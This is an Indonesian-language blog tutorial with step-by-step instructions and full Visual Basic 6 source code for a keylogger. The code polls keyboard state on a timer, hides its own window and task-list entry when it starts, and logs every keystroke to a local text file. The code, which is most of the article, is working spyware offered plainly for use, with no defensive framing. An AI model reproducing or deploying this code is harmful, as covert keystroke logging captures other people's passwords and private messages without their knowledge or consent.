Cara Membuat Keylogger Visual Basic6 + Record Data

Hal yang pertama kita lakukan adalah buka Visual Basic 6 nya, kemudian buatlah sebuah project Standard.exe ( lihat gambar )

Setelah itu tambahkan sebuah timer ( pada bagian kiri ) dengan nama Timer1 yang intervalnya 1

           

Setelah itu tambahkan Code di bawah ini ke dalam form : ( klik kanan pada Form, kemudian View Code )

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Type TList kode As Integer bawah As String atas As String End Type Private List(1 To 255) As TList Private IndexList As Integer Private Sub AddToTable(kode As Integer, atas As String, bawah As String) IndexList = IndexList + 1 List(IndexList).kode = kode List(IndexList).atas = atas List(IndexList).bawah = bawah End Sub Private Sub Build_Table() Dim i As Integer For i = 65 To 90 AddToTable i, Chr(i), Chr(i + 32) Next i AddToTable 48, ")", "0" AddToTable 49, "!", "1" AddToTable 50, "@", "2" AddToTable 51, "#", "3" AddToTable 52, "$", "4" AddToTable 53, "%", "5" AddToTable 54, "^", "6" AddToTable 55, "&", "7" AddToTable 56, "*", "8" AddToTable 57, "(", "9" AddToTable &H60, "", "0" AddToTable &H61, "", "1" AddToTable &H62, "", "2" AddToTable &H63, "", "3" AddToTable &H64, "", "4" AddToTable &H65, "", "5" AddToTable &H66, "", "6" AddToTable &H67, "", "7" AddToTable &H68, "", "8" AddToTable &H69, "", "9" ' AddToTable Asc(" "), " ", " " End Sub Private Sub Form_Load() Me.Visible = False App.TaskVisible = False Build_Table End Sub Private Sub AddToFile(Isi As String) Dim Data As String Dim FileHandler As Long If (Dir(App.Path & "\mylog.txt") <> "") Then FileHandler = FreeFile Open App.Path & "\mylog.txt" For Input As #FileHandler Data = Input(LOF(FileHandler) - 2, #FileHandler) Close #FileHandler End If FileHandler = FreeFile Open App.Path & "\mylog.txt" For Output As #FileHandler Print #FileHandler, Data & Isi Close #FileHandler End Sub Private Sub Timer1_Timer() Dim i As Integer Dim a, b As Integer For i = LBound(List) To UBound(List) a = GetAsyncKeyState(List(i).kode) b = GetAsyncKeyState(16) If (a = -32767) Then If (b = -32768) Then AddToFile List(i).atas Else AddToFile List(i).bawah End If Exit For End If Next End Sub

Simpan project KeyLogger tadi ke dalam satu folder dan tambahkan sebuah file txt dengan nama mylog.txt ( tidak ditambahkan juga tidak apa-apa ) setelah itu jalankan.

Untuk mencobanya anda ketikkan apa saja di keyboard, lalu anda buka file mylog.txt di dalam folder project keylogger tadi. maka anda akan melihat apa yang sudah anda ketikkan tadi.

Thank's for reading the articelCara Membuat Keylogger Visual Basic6 + Record Data .If You want to copy paste your website please tag my link Cara Membuat Keylogger Visual Basic6 + Record Data Intro My Website.
<a href="http://operaterpm.blogspot.com/2013/11/KeyLogVB6Text.html">Cara Membuat Keylogger Visual Basic6 + Record Data</a>